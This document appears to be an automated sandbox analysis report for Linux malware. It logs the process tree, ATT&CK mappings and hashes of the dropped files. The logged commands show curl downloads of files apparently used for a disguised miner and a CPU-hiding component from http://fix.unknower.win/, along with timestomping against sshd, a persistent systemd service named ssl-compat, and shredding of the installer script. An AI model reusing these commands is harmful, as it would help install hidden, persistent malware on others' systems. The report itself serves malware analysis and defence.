- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:941
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:943
- /usr/bin/timeout
  timeout 90 apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
  2⤵
  - Removes the immutable protection flag from a file
  PID:945
- - /usr/local/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:946
- - /usr/local/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:946
- - /usr/sbin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    PID:946
- - /usr/bin/apt-get
    apt-get install -y --no-install-recommends libbpf0 libelf1 python3 openssl
    3⤵
    - Removes the immutable protection flag from a file
    - Writes file to tmp directory
    - Software Deployment Tools
    PID:946
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:947
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:948
- /bin/mkdir
  mkdir -p /usr/share/doc/libssl-compat3 /var/log/dist-upgrade
  2⤵
  PID:949
- /usr/bin/curl
  curl --connect-timeout 10 --max-time 15 -sI http://fix.unknower.win/
  2⤵
  - Checks CPU configuration
  PID:950
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/ssl-compet.tmp.643
  2⤵
  PID:952
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/ssl-compet.tmp.643 http://fix.unknower.win/ssl-compet
  2⤵
  - Checks CPU configuration
  PID:953
- /bin/mv
  mv /usr/share/doc/libssl-compat3/ssl-compet.tmp.643 /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:955
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:959
- /usr/bin/wc
  wc -c
  2⤵
  PID:958
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.643
  2⤵
  PID:960
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.643 http://fix.unknower.win/mnmonitor.sh
  2⤵
  - Checks CPU configuration
  PID:961
- /bin/mv
  mv /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.643 /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:963
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:967
- /usr/bin/wc
  wc -c
  2⤵
  PID:966
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/config.json.tmp.643
  2⤵
  PID:968
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/config.json.tmp.643 http://fix.unknower.win/config.json
  2⤵
  - Checks CPU configuration
  PID:969
- /bin/mv
  mv /usr/share/doc/libssl-compat3/config.json.tmp.643 /usr/share/doc/libssl-compat3/config.json
  2⤵
  PID:971
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:975
- /usr/bin/wc
  wc -c
  2⤵
  PID:974
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.643
  2⤵
  PID:976
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.643 http://fix.unknower.win/cpuhide-bpf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:977
- /bin/mv
  mv /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.643 /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  PID:979
- /usr/bin/wc
  wc -c
  2⤵
  PID:982
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:983
- /bin/rm
  rm -f /usr/share/doc/libssl-compat3/cpuhide.so.tmp.643
  2⤵
  PID:984
- /usr/bin/curl
  curl --connect-timeout 30 --retry 3 --max-time 300 -o /usr/share/doc/libssl-compat3/cpuhide.so.tmp.643 http://fix.unknower.win/cpuhide.so
  2⤵
  - Checks CPU configuration
  PID:985
- /bin/mv
  mv /usr/share/doc/libssl-compat3/cpuhide.so.tmp.643 /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  PID:987
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:991
- /usr/bin/wc
  wc -c
  2⤵
  PID:990
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /bin/chmod
  chmod 755 /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/config.json
  2⤵
  PID:996
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/cpuhide-bpf
  2⤵
  PID:997
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/cpuhide.so
  2⤵
  PID:998
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/mnmonitor.sh
  2⤵
  PID:999
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3/ssl-compet
  2⤵
  PID:1000
- /usr/bin/touch
  touch -r /usr/sbin/sshd /usr/share/doc/libssl-compat3
  2⤵
  PID:1001
- /usr/bin/id
  id -u
  2⤵
  PID:1002
- /usr/bin/id
  id -u
  2⤵
  PID:1003
- /usr/bin/id
  id -u
  2⤵
  PID:1004
- /bin/cat
  cat
  2⤵
  PID:1006
- /usr/bin/timeout
  timeout 8 systemctl daemon-reload
  2⤵
  PID:1007
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1008
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1008
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1008
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1008
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:1008
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1008
- /usr/bin/timeout
  timeout 5 systemctl enable ssl-compat
  2⤵
  PID:1022
- - /usr/local/sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1023
- - /usr/local/bin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1023
- - /usr/sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1023
- - /usr/bin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1023
- - /sbin/systemctl
    systemctl enable ssl-compat
    3⤵
    PID:1023
- - /bin/systemctl
    systemctl enable ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1023
- /usr/bin/timeout
  timeout 10 systemctl start ssl-compat
  2⤵
  PID:1036
- - /usr/local/sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1037
- - /usr/local/bin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1037
- - /usr/sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1037
- - /usr/bin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1037
- - /sbin/systemctl
    systemctl start ssl-compat
    3⤵
    PID:1037
- - /bin/systemctl
    systemctl start ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1037
- /bin/sleep
  sleep 2
  2⤵
  PID:1039
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:1187
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1189
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1189
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1189
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1189
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:1189
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1189
- /usr/bin/id
  id -u
  2⤵
  PID:1196
- /usr/bin/shred
  shred -u /tmp/install.sh
  2⤵
  - Indicator Removal: File Deletion
  - Writes file to tmp directory
  PID:1197

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

File Deletion

T1070.004

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Adversary-in-the-Middle

T1557

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Software Deployment Tools

T1072

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hosts.xmon.643

Path /etc/hosts.xmon.643
Size 38B
SHA256 be853de9260c7a9d6bbee76770aed5a411a2f1eb356b8055e43abdcd23c990eb
MD5 a757c46025ecafa1d9fda80a2e98e900
SHA1 85677c888e1e177f0ec39863ee80d15762a092b6
SHA512 6425676ae1e2960718dfaa3b68f9882034202604e62d30d0eaf8075aaf1b42507f84bec72ce517e74ad5f8dd00f6a568b1b3d3a874c8ae9cd90021a876adab52
MD5 SHA1 SHA512

Submit Download

hosts.xmon.643

Path /etc/hosts.xmon.643
Size 58B
SHA256 366016039ef97d6ab271827b7a0e9e3fd8a62a8c1ce498b4f390e8f1c3a3a77a
MD5 c6b5d28b061798f18130970295ed040a
SHA1 36f8433132c47ad072595dbe987d49b6cbedcf02
SHA512 3317a20e3fb664e52893dd3b182e3875750103e7a042ec233356b1213d576f4f314919dfcc7607cb9a494f2c57b1597846f22f5c6fd1b2ff05c293226f8c0c9b
TLSH
T13AA00261295592C25A67954585714036D003C0D11168A755D4162840523111C5451620
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.643

Path /etc/hosts.xmon.643
Size 108B
SHA256 235a5d46120db8d2683bf36c6a18f559746d0ab334fc9afbb36efec2a7ced56d
MD5 783ecff1a22f07aa0417f4a09e529057
SHA1 7fd56cf726d99c0cf6bbd6810204c3ee9c9dca92
SHA512 851e9b9c80343c78cf28f9b839a7d6241a8f0f616c22f338e62aeff5cdf329c9c73af154e4a15ca0d12011c99b4ed67095af46a30523618aea619cce3a3c954b
TLSH
T160B012D12D5346F305A75645E0370032C503C0C000E4EFA084361800113013C2972350
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.643

Path /etc/hosts.xmon.643
Size 109B
SHA256 09e6fac1db2c9de4ffa09d23430be5ff6dd94699a6ae53e6edaad75c7bf86bb2
MD5 c541987703d2288aecd94fc16bb50f95
SHA1 9d26d4735c7513d61571386a1a786c26ab52fff6
SHA512 435d134194ef29b707897a880a270d5e87b0261e089c9ab5e36b156870527290ea3db2ca75d0b78db0d9de7c255addec04301fdf03edde64340f3ec8e8b43dc6
TLSH
T166B012D12D534AF305A75645E0370033C503C0C000E4EFA084361800513013C2972350
MD5 SHA1 SHA512 TLSH

Submit Download

hosts.xmon.643

Path /etc/hosts.xmon.643
Size 1KB
SHA256 c347c3cf98ff829411f18d0085c5e1a9762fa9e2669d013a8bff97aa56136fa8
MD5 8ed4e105ac74fa00d66e70be1fc2e2be
SHA1 afb16d611b59c7dbcc137523c348bf0d3539f755
SHA512 1d9e825f7cb8af75cde8f73fbee9a19d6276a4bcdef76a7876d092a1c4e94491a52e025923b6edd45615108ee3b270e7ffb44a3d1f3996d0e6beffcda0249d86
TLSH
T1EA2189B2D422D7F804E390623C356237C563C45AC9AEB7FA965CBB99523EDCC2174570
MD5 SHA1 SHA512 TLSH

Submit Download

ssl-compat.service

Path /etc/systemd/system/ssl-compat.service
Size 260B
SHA256 d91f8a34c533ef068075fc88c425c4a9bfc324ea4a940db28659a50dd7cf521c
MD5 1b022620f82b8eeeb001f30f1a17a283
SHA1 0b678208d983595b5a19faaabd33c35d9b294064
SHA512 85fa94d5d4bac8725b31dacecb928f825bdf0c9d71fce5865064cdd1e3a86033004766aad488e210f42b47ae3b515967b8f71901a6a367206259a5f2a4499d9b
TLSH
T1E6D09532761214F1FD4965335F632B80CE141149C58F54704EE1286D45E5D97812596D
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.Ijk8NF

Path /tmp/sh-thd.Ijk8NF
Size 868B
SHA256 4e3c947aae713b313ebaa1efb1ba5379ed77263cab25d97b9033c14454aee675
MD5 e7192f64133d2b4385ebfea4fb49b867
SHA1 d3984172cef75ea9b16de9672fff88e60a5e8fe6
SHA512 c3496241a6f77abb66cddffd06e1d0a721a1c39c7d2e25715a588a3570d5e1f8d96e87b1a0035319d20c15ff2abda512489e45c6ded350f2ab983ef768c085cb
TLSH
T1C911B1B1D032D7F845D3A0323871663BC5B7C51AC9AEB7FA954CBB98913CCCC6160460
MD5 SHA1 SHA512 TLSH

Submit Download

config.json.tmp.643

Path /usr/share/doc/libssl-compat3/config.json.tmp.643
Size 4KB
SHA256 498d6b9ac83b710158213f45a7270768c32fd4e2b531a4ac3bc276c38164069a
MD5 f8339816bec82e5538fb5e2fe1709353
SHA1 91762039444303b79b1d92c0484504fd3dd0fcec
SHA512 2effef8fa6d0b13dc98419ee18d9a7809c386ccdfee4f07fbda6fb60a95c32a0721634d7028a782309f959fa598637ab98430c26e6a7516eb836ecc10e90387e
SSDEEP 48:EePpTXychTtPK7H61b/ojz6KQivbTDzE/XaJeHQJyy:EePpTXycq61b/ojz6KQifDzhowF
TLSH
T1EB91C435CA180CFE04BCD26CD9B89286D668831B63446C6B76FC495C1F336327AD6E9D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpuhide-bpf.tmp.643

Path /usr/share/doc/libssl-compat3/cpuhide-bpf.tmp.643
Size 58KB
SHA256 1f0457dda40401cbe8409b8375ba9008634771ec5eb9a99c7a84b4e8385d33aa
MD5 431cef8d5983252ea7ad95cf5b03e3c6
SHA1 333133a21fa79c18476292a0ff849e10f794024e
SHA512 91ddef3850d6d98d5955ba9352a5c246f042c4720b4c1eb58224fd40c86f221b78ac3fe11c5b4b9a91aede6c4b08cd77133ba282c8a256ae62ad7eddb9961c00
SSDEEP 1536:opU5KaiCqSVn58+ouyJSbal+cuyyLNtuW8mf0FbD:oW3C4yJqq
TLSH
T13943D806A4B09936C45A423248A7863B67B2F3659B128F3F755C737B1E4F34D2EC27A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpuhide.so.tmp.643

Path /usr/share/doc/libssl-compat3/cpuhide.so.tmp.643
Size 9KB
SHA256 13d9cec95267ecfa0c38b25ff47d021fd6d8120bc7c734981169c4424be1d754
MD5 f223f91f3673da8fa1b2bdbd91100856
SHA1 a7526891f166f72ee5fe0c0d14c5187c01e38295
SHA512 9c743889216c36214135b677ff5e3678c0728a15ca0e89d6760e885b2229d8de0b05894145bde3ab27c593ab044a4d3c6945e2a92bc6138e03f3705e6dca774d
SSDEEP 96:RWDMBWBPeEOa++HqLSkJqCSEeftAXLNQnXS94dXq8GQhB+aW8CSPy:RWA8peEOa+FpSh8NQnfgyhY
TLSH
T15422A30AF2758A7DC4A99334888B873267F0F8148122173337199B783C937644F9BAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mnmonitor.sh.tmp.643

Path /usr/share/doc/libssl-compat3/mnmonitor.sh.tmp.643
Size 66KB
SHA256 0885c67d2eea1bee556e6305998bc71d85e3420cabf77b9531fad71c92f0e3cc
MD5 64abdc11aec051ee6ce836c64f30d87c
SHA1 81a7cc7ed6e5684f79d6294697561ef2902f72d7
SHA512 7aa89c310c4065874b00813b3d9adf205a004cd06928dfd52e58034fb0eaae2982fabf6436a3776e0ad801257ebb01935b8b842f6556dae6300a5464da097351
SSDEEP 768:3hgZLh+aSGtgXkadWeMOVmvzZbVbjss5uyB0N0R4isCfjeO:q0oe8NbVbc2eCfiO
TLSH
T11F631A71E17887B275A5C05C9BC65150170E3127394D2428B1BDBA6C7FFC2BCA0A9BBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssl-compet.tmp.643

Path /usr/share/doc/libssl-compat3/ssl-compet.tmp.643
Size 6.7MB
SHA256 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
MD5 8f633ade35df4f992eb28a2c5bc37cef
SHA1 6b2fe529339896b22328dec8936219e7b8e3252f
SHA512 8073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73
SSDEEP 98304:LS8DtMxKWZzBbmDvDvD0iWOMe2FMXWeXjLnx3mQ/nUmumVdMf+RPE3PE3PEbb2mG:DDGAjrYUBlK4rMVe4bLGLfi776u8jW
TLSH
T1CF666D07B6A258FCC1AAC870865FD573B931B8985211793B3794AB302F27F605B1DFA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads